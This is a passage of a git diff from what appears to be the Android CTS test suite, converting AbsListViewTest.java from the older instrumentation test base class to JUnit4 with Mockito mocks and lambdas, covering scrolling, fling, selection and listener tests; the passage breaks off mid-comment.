+    android:updatePeriodMillis="86400000"
+    android:initialLayout="@layout/remoteviews_adapter"
+    android:resizeMode="horizontal|vertical"
+    android:widgetCategory="home_screen|keyguard"
+    android:previewImage="@drawable/icon_red">
+</appwidget-provider>
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
index 9faf906..c4a4070 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
@@ -16,104 +16,139 @@
 
 package android.widget.cts;
 
-import android.test.suitebuilder.annotation.MediumTest;
-import android.widget.cts.R;
+import static com.android.compatibility.common.util.CtsMockitoUtils.within;
 
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.anyInt;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.doAnswer;
+import static org.mockito.Mockito.eq;
+import static org.mockito.Mockito.inOrder;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
-import android.cts.util.PollingCheck;
-import android.cts.util.WidgetTestUtils;
+import android.content.res.Configuration;
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Rect;
 import android.graphics.drawable.Drawable;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.TouchUtils;
-import android.test.UiThreadTest;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.SpannableStringBuilder;
+import android.text.TextUtils;
 import android.util.AttributeSet;
 import android.util.Xml;
+import android.view.ActionMode;
 import android.view.ContextMenu.ContextMenuInfo;
+import android.view.Menu;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.AbsListView;
 import android.widget.AbsListView.OnScrollListener;
-import android.widget.AbsListView.RecyclerListener;
-import android.widget.AdapterView;
-import android.widget.AdapterView.OnItemLongClickListener;
 import android.widget.ArrayAdapter;
 import android.widget.ListAdapter;
 import android.widget.ListView;
 import android.widget.TextView;
+import android.widget.cts.util.TestUtils;
+import android.widget.cts.util.TestUtilsMatchers;
+
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.hamcrest.MatcherAssert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentCaptor;
+import org.mockito.InOrder;
+import org.mockito.invocation.InvocationOnMock;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.IOException;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.List;
 
-public class AbsListViewTest extends ActivityInstrumentationTestCase2<ListViewCtsActivity> {
-    private final String[] mShortList = new String[] {
-        "This", "is", "short", "!",
-    };
-    private final String[] mCountryList = new String[] {
-        "Argentina", "Australia", "Belize", "Botswana", "Brazil", "Cameroon", "China", "Cyprus",
-        "Denmark", "Djibouti", "Ethiopia", "Fiji", "Finland", "France", "Gabon", "Germany",
-        "Ghana", "Haiti", "Honduras", "Iceland", "India", "Indonesia", "Ireland", "Italy",
-        "Japan", "Kiribati", "Laos", "Lesotho", "Liberia", "Malaysia", "Mongolia", "Myanmar",
-        "Nauru", "Norway", "Oman", "Pakistan", "Philippines", "Portugal", "Romania", "Russia",
-        "Rwanda", "Singapore", "Slovakia", "Slovenia", "Somalia", "Swaziland", "Togo", "Tuvalu",
-        "Uganda", "Ukraine", "United States", "Vanuatu", "Venezuela", "Zimbabwe"
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AbsListViewTest {
+    private static final String[] SHORT_LIST = new String[] { "This", "is", "short", "!" };
+
+    private static final String[] COUNTRY_LIST = new String[] {
+            "Argentina", "Armenia", "Aruba", "Australia", "Belarus", "Belgium", "Belize", "Benin",
+            "Botswana", "Brazil", "Cameroon", "China", "Colombia", "Costa Rica", "Cyprus",
+            "Denmark", "Djibouti", "Ethiopia", "Fiji", "Finland", "France", "Gabon", "Germany",
+            "Ghana", "Haiti", "Honduras", "Iceland", "India", "Indonesia", "Ireland", "Italy",
+            "Japan", "Kiribati", "Laos", "Lesotho", "Liberia", "Malaysia", "Mongolia", "Myanmar",
+            "Nauru", "Norway", "Oman", "Pakistan", "Philippines", "Portugal", "Romania", "Russia",
+            "Rwanda", "Singapore", "Slovakia", "Slovenia", "Somalia", "Swaziland", "Togo", "Tuvalu",
+            "Uganda", "Ukraine", "United States", "Vanuatu", "Venezuela", "Zimbabwe"
     };
 
-    private ListView mListView;
-    private Activity mActivity;
+    @Rule
+    public ActivityTestRule<ListViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ListViewCtsActivity.class);
+
     private Instrumentation mInstrumentation;
+    private AbsListView mListView;
+    private Context mContext;
     private AttributeSet mAttributeSet;
-    private ArrayAdapter<String> mAdapter_short;
-    private ArrayAdapter<String> mAdapter_countries;
+    private ArrayAdapter<String> mShortAdapter;
+    private ArrayAdapter<String> mCountriesAdapter;
+    private AbsListView.MultiChoiceModeListener mMultiChoiceModeListener;
 
     private static final float DELTA = 0.001f;
 
-    public AbsListViewTest() {
-        super("android.widget.cts", ListViewCtsActivity.class);
-    }
+    @Before
+    public void setup() throws Exception {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mContext = mInstrumentation.getTargetContext();
 
+        final Activity activity = mActivityRule.getActivity();
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+        PollingCheck.waitFor(activity::hasWindowFocus);
 
-        mActivity = getActivity();
-        new PollingCheck() {
-            @Override
-                protected boolean check() {
-                return mActivity.hasWindowFocus();
-            }
-        }.run();
-        mInstrumentation = getInstrumentation();
-
-        XmlPullParser parser = mActivity.getResources().getXml(R.layout.listview_layout);
-        WidgetTestUtils.beginDocument(parser, "LinearLayout");
+        XmlPullParser parser = mContext.getResources().getXml(R.layout.listview_layout);
+        WidgetTestUtils.beginDocument(parser, "FrameLayout");
         mAttributeSet = Xml.asAttributeSet(parser);
 
-        mAdapter_short = new ArrayAdapter<String>(mActivity,
-                android.R.layout.simple_list_item_1, mShortList);
-        mAdapter_countries = new ArrayAdapter<String>(mActivity,
-                android.R.layout.simple_list_item_1, mCountryList);
+        mShortAdapter = new ArrayAdapter<>(mContext,
+                android.R.layout.simple_list_item_1, SHORT_LIST);
+        mCountriesAdapter = new ArrayAdapter<>(mContext,
+                android.R.layout.simple_list_item_1, COUNTRY_LIST);
 
-        mListView = (ListView)mActivity.findViewById(R.id.listview_default);
+        mListView = (ListView) activity.findViewById(R.id.listview_default);
     }
 
-    public void testConstructor() {
-        /**
-         * We can not test the constructors.
-         */
+    private boolean isWatch() {
+        return (mContext.getResources().getConfiguration().uiMode
+                & Configuration.UI_MODE_TYPE_WATCH) == Configuration.UI_MODE_TYPE_WATCH;
     }
 
+    @Test
     @UiThreadTest
     public void testAccessFastScrollEnabled_UiThread() {
         mListView.setFastScrollAlwaysVisible(false);
@@ -125,26 +160,18 @@
         assertTrue(mListView.isFastScrollEnabled());
     }
 
+    @Test
     public void testAccessFastScrollEnabled() {
         mListView.setFastScrollAlwaysVisible(false);
         mListView.setFastScrollEnabled(false);
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return !mListView.isFastScrollEnabled();
-            }
-        }.run();
+        PollingCheck.waitFor(() -> !mListView.isFastScrollEnabled());
 
         mListView.setFastScrollAlwaysVisible(true);
         mListView.setFastScrollEnabled(true);
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return mListView.isFastScrollEnabled();
-            }
-        }.run();
+        PollingCheck.waitFor(mListView::isFastScrollEnabled);
     }
 
+    @Test
     public void testAccessSmoothScrollbarEnabled() {
         mListView.setSmoothScrollbarEnabled(false);
         assertFalse(mListView.isSmoothScrollbarEnabled());
@@ -153,6 +180,7 @@
         assertTrue(mListView.isSmoothScrollbarEnabled());
     }
 
+    @Test
     public void testAccessScrollingCacheEnabled() {
         mListView.setScrollingCacheEnabled(false);
         assertFalse(mListView.isScrollingCacheEnabled());
@@ -162,116 +190,116 @@
     }
 
     private void setAdapter() throws Throwable {
-        setAdapter(mAdapter_countries);
+        setAdapter(mCountriesAdapter);
     }
 
     private void setAdapter(final ListAdapter adapter) throws Throwable {
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mListView.setAdapter(adapter);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mListView.setAdapter(adapter));
         mInstrumentation.waitForIdleSync();
     }
 
     private void setListSelection(int index) throws Throwable {
-        final int i = index;
-
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mListView.setSelection(i);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mListView.setSelection(index));
         mInstrumentation.waitForIdleSync();
     }
+
+    @LargeTest
+    @Test
     public void testSetOnScrollListener() throws Throwable {
-        MockOnScrollListener onScrollListener = new MockOnScrollListener();
+        AbsListView.OnScrollListener mockScrollListener =
+                mock(AbsListView.OnScrollListener.class);
 
-        assertNull(onScrollListener.getView());
-        assertEquals(0, onScrollListener.getFirstVisibleItem());
-        assertEquals(0, onScrollListener.getVisibleItemCount());
-        assertEquals(0, onScrollListener.getTotalItemCount());
-        assertEquals(-1, onScrollListener.getScrollState());
+        verifyZeroInteractions(mockScrollListener);
 
-        assertFalse(onScrollListener.isOnScrollCalled());
-        assertFalse(onScrollListener.isOnScrollStateChangedCalled());
+        mListView.setOnScrollListener(mockScrollListener);
+        verify(mockScrollListener, times(1)).onScroll(mListView, 0, 0, 0);
+        verifyNoMoreInteractions(mockScrollListener);
 
-        mListView.setOnScrollListener(onScrollListener);
-        assertSame(mListView, onScrollListener.getView());
-        assertEquals(0, onScrollListener.getFirstVisibleItem());
-        assertEquals(0, onScrollListener.getVisibleItemCount());
-        assertEquals(0, onScrollListener.getTotalItemCount());
-        assertEquals(-1, onScrollListener.getScrollState());
-
-        assertTrue(onScrollListener.isOnScrollCalled());
-        assertFalse(onScrollListener.isOnScrollStateChangedCalled());
-        onScrollListener.reset();
+        reset(mockScrollListener);
 
         setAdapter();
+        verify(mockScrollListener, times(1)).onScroll(mListView, 0, mListView.getChildCount(),
+                COUNTRY_LIST.length);
+        verifyNoMoreInteractions(mockScrollListener);
 
-        assertSame(mListView, onScrollListener.getView());
-        assertEquals(0, onScrollListener.getFirstVisibleItem());
-        assertEquals(mListView.getChildCount(), onScrollListener.getVisibleItemCount());
-        assertEquals(mCountryList.length, onScrollListener.getTotalItemCount());
-        assertEquals(-1, onScrollListener.getScrollState());
+        reset(mockScrollListener);
 
-        assertTrue(onScrollListener.isOnScrollCalled());
-        assertFalse(onScrollListener.isOnScrollStateChangedCalled());
-        onScrollListener.reset();
+        CtsTouchUtils.emulateScrollToBottom(mInstrumentation, mListView);
 
-        TouchUtils.scrollToBottom(this, mActivity, mListView);
-        assertSame(mListView, onScrollListener.getView());
-        assertEquals(mListView.getChildCount(), onScrollListener.getVisibleItemCount());
-        assertEquals(mCountryList.length, onScrollListener.getTotalItemCount());
+        ArgumentCaptor<Integer> firstVisibleItemCaptor = ArgumentCaptor.forClass(Integer.class);
+        ArgumentCaptor<Integer> visibleItemCountCaptor = ArgumentCaptor.forClass(Integer.class);
+        verify(mockScrollListener, atLeastOnce()).onScroll(eq(mListView),
+                firstVisibleItemCaptor.capture(), visibleItemCountCaptor.capture(),
+                eq(COUNTRY_LIST.length));
 
-        assertTrue(onScrollListener.isOnScrollCalled());
-        assertTrue(onScrollListener.isOnScrollStateChangedCalled());
+        // We expect the first visible item values to be increasing
+        MatcherAssert.assertThat(firstVisibleItemCaptor.getAllValues(),
+                TestUtilsMatchers.inAscendingOrder());
+        // The number of visible items during scrolling may change depending on the specific
+        // scroll position. As such we only test this number at the very end
+        final List<Integer> capturedVisibleItemCounts = visibleItemCountCaptor.getAllValues();
+        assertEquals(mListView.getChildCount(),
+                (int) capturedVisibleItemCounts.get(capturedVisibleItemCounts.size() - 1));
+
+        ArgumentCaptor<Integer> scrollStateCaptor = ArgumentCaptor.forClass(Integer.class);
+        verify(mockScrollListener, atLeastOnce()).onScrollStateChanged(eq(mListView),
+                scrollStateCaptor.capture());
+
+        // Verify that the last scroll state is IDLE
+        final List<Integer> capturedScrollStates = scrollStateCaptor.getAllValues();
+        assertEquals(AbsListView.OnScrollListener.SCROLL_STATE_IDLE,
+                (int) capturedScrollStates.get(capturedScrollStates.size() - 1));
     }
 
+    @LargeTest
+    @Test
     public void testFling() throws Throwable {
-        MockOnScrollListener onScrollListener = new MockOnScrollListener();
-        mListView.setOnScrollListener(onScrollListener);
+        AbsListView.OnScrollListener mockScrollListener = mock(AbsListView.OnScrollListener.class);
+        mListView.setOnScrollListener(mockScrollListener);
 
         setAdapter();
 
         // Fling down from top, expect a scroll.
-        fling(10000, onScrollListener);
-        assertTrue(onScrollListener.isOnScrollCalled());
-        assertTrue(0 < onScrollListener.getFirstVisibleItem());
+        fling(10000, mockScrollListener);
+        ArgumentCaptor<Integer> firstVisibleItemCaptor = ArgumentCaptor.forClass(Integer.class);
+        verify(mockScrollListener, atLeastOnce()).onScroll(eq(mListView),
+                firstVisibleItemCaptor.capture(), anyInt(), eq(COUNTRY_LIST.length));
+        List<Integer> capturedFirstVisibleItems = firstVisibleItemCaptor.getAllValues();
+        assertTrue(capturedFirstVisibleItems.get(capturedFirstVisibleItems.size() - 1) > 0);
 
         // Fling up the same amount, expect a scroll to the original position.
-        fling(-10000, onScrollListener);
-        assertTrue(onScrollListener.isOnScrollCalled());
-        assertEquals(0, onScrollListener.getFirstVisibleItem());
+        fling(-10000, mockScrollListener);
+        firstVisibleItemCaptor = ArgumentCaptor.forClass(Integer.class);
+        verify(mockScrollListener, atLeastOnce()).onScroll(eq(mListView),
+                firstVisibleItemCaptor.capture(), anyInt(), eq(COUNTRY_LIST.length));
+        capturedFirstVisibleItems = firstVisibleItemCaptor.getAllValues();
+        assertTrue(capturedFirstVisibleItems.get(capturedFirstVisibleItems.size() - 1) == 0);
 
         // Fling up again, expect no scroll, as the viewport is already at top.
-        fling(-10000, onScrollListener);
-        assertFalse(onScrollListener.isOnScrollCalled());
-        assertEquals(0, onScrollListener.getFirstVisibleItem());
+        fling(-10000, mockScrollListener);
+        verify(mockScrollListener, never()).onScroll(any(AbsListView.class), anyInt(), anyInt(),
+                anyInt());
 
         // Fling up again with a huge velocity, expect no scroll.
-        fling(-50000, onScrollListener);
-        assertFalse(onScrollListener.isOnScrollCalled());
-        assertEquals(0, onScrollListener.getFirstVisibleItem());
+        fling(-50000, mockScrollListener);
+        verify(mockScrollListener, never()).onScroll(any(AbsListView.class), anyInt(), anyInt(),
+                anyInt());
     }
 
-    private void fling(int velocityY, MockOnScrollListener onScrollListener) throws Throwable {
-        onScrollListener.reset();
+    private void fling(int velocityY, OnScrollListener mockScrollListener) throws Throwable {
+        reset(mockScrollListener);
 
-        final int v = velocityY;
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mListView.fling(v);
-            }
-        });
+        // Fling the list view
+        mActivityRule.runOnUiThread(() -> mListView.fling(velocityY));
 
-        do {
-            mInstrumentation.waitForIdleSync();
-        } while (onScrollListener.getScrollState() != OnScrollListener.SCROLL_STATE_IDLE);
+        // and wait until our mock listener is invoked with IDLE state
+        verify(mockScrollListener, within(20000)).onScrollStateChanged(
+                mListView, OnScrollListener.SCROLL_STATE_IDLE);
     }
 
+    @Test
     public void testGetFocusedRect() throws Throwable {
-        setAdapter(mAdapter_short);
+        setAdapter(mShortAdapter);
         setListSelection(0);
 
         Rect r1 = new Rect();
@@ -295,45 +323,47 @@
         assertEquals(r1.right, r2.right);
     }
 
+    @Test
     public void testAccessStackFromBottom() throws Throwable {
         setAdapter();
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mListView.setStackFromBottom(false);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mListView.setStackFromBottom(false));
         assertFalse(mListView.isStackFromBottom());
         assertEquals(0, mListView.getSelectedItemPosition());
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mListView.setStackFromBottom(true);
-            }
-        });
+        mActivityRule.runOnUiThread(() -> mListView.setStackFromBottom(true));
 
         mInstrumentation.waitForIdleSync();
         assertTrue(mListView.isStackFromBottom());
         // ensure last item in list is selected
-        assertEquals(mCountryList.length-1, mListView.getSelectedItemPosition());
+        assertEquals(COUNTRY_LIST.length-1, mListView.getSelectedItemPosition());
     }
 
+    @Test
     public void testAccessSelectedItem() throws Throwable {
         assertNull(mListView.getSelectedView());
 
         setAdapter();
+
+        final int lastVisiblePosition = mListView.getLastVisiblePosition();
+
         TextView tv = (TextView) mListView.getSelectedView();
-        assertEquals(mCountryList[0], tv.getText().toString());
+        assertEquals(COUNTRY_LIST[0], tv.getText().toString());
 
-        setListSelection(5);
-        tv = (TextView) mListView.getSelectedView();
-        assertEquals(mCountryList[5], tv.getText().toString());
+        if (lastVisiblePosition >= 5) {
+            setListSelection(5);
+            tv = (TextView) mListView.getSelectedView();
+            assertEquals(COUNTRY_LIST[5], tv.getText().toString());
+        }
 
-        setListSelection(2);
-        tv = (TextView) mListView.getSelectedView();
-        assertEquals(mCountryList[2], tv.getText().toString());
+        if (lastVisiblePosition >= 2) {
+            setListSelection(2);
+            tv = (TextView) mListView.getSelectedView();
+            assertEquals(COUNTRY_LIST[2], tv.getText().toString());
+        }
     }
 
+    @Test
     public void testAccessListPadding() throws Throwable {
         setAdapter();
 
@@ -343,11 +373,8 @@
         assertEquals(0, mListView.getListPaddingBottom());
 
         final Rect r = new Rect(0, 0, 40, 60);
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mListView.setPadding(r.left, r.top, r.right, r.bottom);
-            }
-        });
+        mActivityRule.runOnUiThread(
+                () -> mListView.setPadding(r.left, r.top, r.right, r.bottom));
         mInstrumentation.waitForIdleSync();
 
         assertEquals(r.left, mListView.getListPaddingLeft());
@@ -356,17 +383,14 @@
         assertEquals(r.bottom, mListView.getListPaddingBottom());
     }
 
+    @Test
     public void testAccessSelector() throws Throwable {
         setAdapter();
 
-        final Drawable d = mActivity.getResources().getDrawable(R.drawable.pass);
+        final Drawable d = mContext.getDrawable(R.drawable.pass);
         mListView.setSelector(d);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mListView.requestLayout();
-            }
-        });
+        mActivityRule.runOnUiThread(mListView::requestLayout);
         mInstrumentation.waitForIdleSync();
         assertSame(d, mListView.getSelector());
         assertTrue(mListView.verifyDrawable(d));
@@ -374,11 +398,7 @@
         mListView.setSelector(R.drawable.failed);
         mListView.setDrawSelectorOnTop(true);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mListView.requestLayout();
-            }
-        });
+        mActivityRule.runOnUiThread(mListView::requestLayout);
         mInstrumentation.waitForIdleSync();
 
         Drawable drawable = mListView.getSelector();
@@ -386,33 +406,27 @@
         final Rect r = drawable.getBounds();
 
         final TextView v = (TextView) mListView.getSelectedView();
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return v.getRight() == r.right;
-            }
-        }.run();
+        PollingCheck.waitFor(() -> v.getRight() == r.right);
         assertEquals(v.getLeft(), r.left);
         assertEquals(v.getTop(), r.top);
         assertEquals(v.getBottom(), r.bottom);
     }
 
+    @Test
     public void testSetScrollIndicators() throws Throwable {
-        TextView tv1 = (TextView) mActivity.findViewById(R.id.headerview1);
-        TextView tv2 = (TextView) mActivity.findViewById(R.id.footerview1);
+        final Activity activity = mActivityRule.getActivity();
+        TextView tv1 = (TextView) activity.findViewById(R.id.headerview1);
+        TextView tv2 = (TextView) activity.findViewById(R.id.footerview1);
 
         setAdapter();
 
         mListView.setScrollIndicators(tv1, tv2);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mListView.requestLayout();
-            }
-        });
+        mActivityRule.runOnUiThread(mListView::requestLayout);
         mInstrumentation.waitForIdleSync();
     }
 
+    @Test
     public void testShowContextMenuForChild() throws Throwable {
         setAdapter();
         setListSelection(1);
@@ -423,6 +437,7 @@
         // TODO: how to show the contextMenu success
     }
 
+    @Test
     public void testPointToPosition() throws Throwable {
         assertEquals(AbsListView.INVALID_POSITION, mListView.pointToPosition(-1, -1));
         assertEquals(AbsListView.INVALID_ROW_ID, mListView.pointToRowId(-1, -1));
@@ -436,39 +451,37 @@
         int position1 = mListView.pointToPosition(0, 0);
         int position2 = mListView.pointToPosition(50, middleOfSecondRow);
 
-        assertEquals(mAdapter_countries.getItemId(position1), mListView.pointToRowId(0, 0));
-        assertEquals(mAdapter_countries.getItemId(position2),
+        assertEquals(mCountriesAdapter.getItemId(position1), mListView.pointToRowId(0, 0));
+        assertEquals(mCountriesAdapter.getItemId(position2),
                 mListView.pointToRowId(50, middleOfSecondRow));
 
         assertTrue(position2 > position1);
     }
 
-    public void testDraw() {
-        Canvas canvas = new Canvas();
-        mListView.draw(canvas);
-
-        MyListView listView = new MyListView(mActivity);
-        listView.dispatchDraw(canvas);
-
-        // TODO: how to check
-    }
-
+    @Test
     public void testSetRecyclerListener() throws Throwable {
         setAdapter();
 
-        MockRecyclerListener recyclerListener = new MockRecyclerListener();
-        List<View> views = new ArrayList<View>();
+        AbsListView.RecyclerListener mockRecyclerListener =
+                mock(AbsListView.RecyclerListener.class);
+        verifyZeroInteractions(mockRecyclerListener);
 
-        assertNull(recyclerListener.getView());
-        mListView.setRecyclerListener(recyclerListener);
+        mListView.setRecyclerListener(mockRecyclerListener);
+        List<View> views = new ArrayList<>();
         mListView.reclaimViews(views);
 
         assertTrue(views.size() > 0);
-        assertNotNull(recyclerListener.getView());
 
-        assertSame(recyclerListener.getView(), views.get(views.size() - 1));
+        // Verify that onMovedToScrapHeap was called on each view in the order that they were
+        // put in the list that we passed to reclaimViews
+        final InOrder reclaimedOrder = inOrder(mockRecyclerListener);
+        for (View reclaimed : views) {
+            reclaimedOrder.verify(mockRecyclerListener, times(1)).onMovedToScrapHeap(reclaimed);
+        }
+        verifyNoMoreInteractions(mockRecyclerListener);
     }
 
+    @Test
     public void testAccessCacheColorHint() {
         mListView.setCacheColorHint(Color.RED);
         assertEquals(Color.RED, mListView.getCacheColorHint());
@@ -483,6 +496,7 @@
         assertEquals(Color.GRAY, mListView.getSolidColor());
     }
 
+    @Test
     public void testAccessTranscriptMode() {
         mListView.setTranscriptMode(AbsListView.TRANSCRIPT_MODE_ALWAYS_SCROLL);
         assertEquals(AbsListView.TRANSCRIPT_MODE_ALWAYS_SCROLL, mListView.getTranscriptMode());
@@ -494,8 +508,9 @@
         assertEquals(AbsListView.TRANSCRIPT_MODE_NORMAL, mListView.getTranscriptMode());
     }
 
+    @Test
     public void testCheckLayoutParams() {
-        MyListView listView = new MyListView(mActivity);
+        MyListView listView = new MyListView(mContext);
 
         AbsListView.LayoutParams param1 = new AbsListView.LayoutParams(10, 10);
         assertTrue(listView.checkLayoutParams(param1));
@@ -504,15 +519,16 @@
         assertFalse(listView.checkLayoutParams(param2));
     }
 
+    @Test
     public void testComputeVerticalScrollValues() {
-        MyListView listView = new MyListView(mActivity);
+        MyListView listView = new MyListView(mContext);
         assertEquals(0, listView.computeVerticalScrollRange());
         assertEquals(0, listView.computeVerticalScrollOffset());
         assertEquals(0, listView.computeVerticalScrollExtent());
 
-        listView.setAdapter(mAdapter_countries);
+        listView.setAdapter(mCountriesAdapter);
         listView.setSmoothScrollbarEnabled(false);
-        assertEquals(mAdapter_countries.getCount(), listView.computeVerticalScrollRange());
+        assertEquals(mCountriesAdapter.getCount(), listView.computeVerticalScrollRange());
         assertEquals(0, listView.computeVerticalScrollOffset());
         assertEquals(0, listView.computeVerticalScrollExtent());
 
@@ -521,14 +537,15 @@
         assertEquals(0, listView.computeVerticalScrollExtent());
     }
 
+    @Test
     public void testGenerateLayoutParams() throws XmlPullParserException, IOException {
         ViewGroup.LayoutParams res = mListView.generateLayoutParams(mAttributeSet);
         assertNotNull(res);
         assertTrue(res instanceof AbsListView.LayoutParams);
 
-        MyListView listView = new MyListView(mActivity);
-        ViewGroup.LayoutParams p = new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,
-                                                              ViewGroup.LayoutParams.WRAP_CONTENT);
+        MyListView listView = new MyListView(mContext);
+        ViewGroup.LayoutParams p = new ViewGroup.LayoutParams(
+                ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT);
 
         res = listView.generateLayoutParams(p);
         assertNotNull(res);
@@ -537,6 +554,8 @@
         assertEquals(ViewGroup.LayoutParams.WRAP_CONTENT, res.height);
     }
 
+    @UiThreadTest
+    @Test
     public void testBeforeAndAfterTextChanged() {
         // The java doc says these two methods do nothing
         CharSequence str = "test";
@@ -546,8 +565,8 @@
         mListView.afterTextChanged(sb);
 
         // test callback
-        MyListView listView = new MyListView(mActivity);
-        TextView tv = new TextView(mActivity);
+        MyListView listView = new MyListView(mContext);
+        TextView tv = new TextView(mContext);
 
         assertFalse(listView.isBeforeTextChangedCalled());
         assertFalse(listView.isOnTextChangedCalled());
@@ -564,8 +583,9 @@
         assertTrue(listView.isAfterTextChangedCalled());
     }
 
+    @Test
     public void testAddTouchables() throws Throwable {
-        ArrayList<View> views = new ArrayList<View>();
+        ArrayList<View> views = new ArrayList<>();
         assertEquals(0, views.size());
 
         setAdapter();
@@ -574,78 +594,69 @@
         assertEquals(mListView.getChildCount(), views.size());
     }
 
+    @Test
     public void testInvalidateViews() throws Throwable {
-        TextView tv1 = (TextView) mActivity.findViewById(R.id.headerview1);
-        TextView tv2 = (TextView) mActivity.findViewById(R.id.footerview1);
+        final Activity activity = mActivityRule.getActivity();
+        TextView tv1 = (TextView) activity.findViewById(R.id.headerview1);
+        TextView tv2 = (TextView) activity.findViewById(R.id.footerview1);
 
         setAdapter();
 
         mListView.setScrollIndicators(tv1, tv2);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mListView.invalidateViews();
-            }
-        });
+        mActivityRule.runOnUiThread(mListView::invalidateViews);
         mInstrumentation.waitForIdleSync();
     }
 
+    @Test
     public void testGetContextMenuInfo() throws Throwable {
-        final MyListView listView = new MyListView(mActivity, mAttributeSet);
+        final MyListView listView = new MyListView(mContext, mAttributeSet);
 
-        runTestOnUiThread(new Runnable() {
-            public void run() {
-                mActivity.setContentView(listView);
-                listView.setAdapter(mAdapter_countries);
-                listView.setSelection(2);
-            }
+        mActivityRule.runOnUiThread(() ->  {
+            mActivityRule.getActivity().setContentView(listView);
+            listView.setAdapter(mCountriesAdapter);
+            listView.setSelection(2);
         });
         mInstrumentation.waitForIdleSync();
 
         final TextView v = (TextView) listView.getSelectedView();
         assertNull(listView.getContextMenuInfo());
 
-        final MockOnItemLongClickListener listener = new MockOnItemLongClickListener();
-        listView.setOnItemLongClickListener(listener);
+        final AbsListView.OnItemLongClickListener mockOnItemLongClickListener =
+                mock(AbsListView.OnItemLongClickListener.class);
+        listView.setOnItemLongClickListener(mockOnItemLongClickListener);
 
-        assertNull(listener.getParent());
-        assertNull(listener.getView());
-        assertEquals(0, listener.getPosition());
-        assertEquals(0, listener.getID());
+        verifyZeroInteractions(mockOnItemLongClickListener);
 
-        mInstrumentation.waitForIdleSync();
-        TouchUtils.longClickView(this, v);
-
-        new PollingCheck() {
-            @Override
-            protected boolean check() {
-                return v == listener.getView();
-            }
-        }.run();
-
-        assertSame(listView, listener.getParent());
-        assertEquals(2, listener.getPosition());
-        assertEquals(listView.getItemIdAtPosition(2), listener.getID());
+        // Now long click our view
+        CtsTouchUtils.emulateLongPressOnViewCenter(mInstrumentation, v, 500);
+        // and wait until our mock listener is invoked with the expected view
+        verify(mockOnItemLongClickListener, within(5000)).onItemLongClick(listView, v, 2,
+                listView.getItemIdAtPosition(2));
 
         ContextMenuInfo cmi = listView.getContextMenuInfo();
         assertNotNull(cmi);
     }
 
+    @Test
     public void testGetTopBottomFadingEdgeStrength() {
-        MyListView listView = new MyListView(mActivity);
+        MyListView listView = new MyListView(mContext);
 
         assertEquals(0.0f, listView.getTopFadingEdgeStrength(), DELTA);
         assertEquals(0.0f, listView.getBottomFadingEdgeStrength(), DELTA);
     }
 
+    @Test
     public void testHandleDataChanged() {
-        MyListView listView = new MyListView(mActivity, mAttributeSet, 0);
+        MyListView listView = new MyListView(mContext, mAttributeSet, 0);
         listView.handleDataChanged();
         // TODO: how to check?
     }
 
+    @UiThreadTest
+    @Test
     public void testSetFilterText() {
-        MyListView listView = new MyListView(mActivity, mAttributeSet, 0);
+        MyListView listView = new MyListView(mContext, mAttributeSet, 0);
         String filterText = "xyz";
 
         assertFalse(listView.isTextFilterEnabled());
@@ -678,231 +689,424 @@
     }
 
     @MediumTest
-    public void testSetItemChecked_multipleModeSameValue()
-            throws Throwable {
+    @Test
+    public void testSetItemChecked_multipleModeSameValue() throws Throwable {
         // Calling setItemChecked with the same value in multiple choice mode should not cause
         // requestLayout
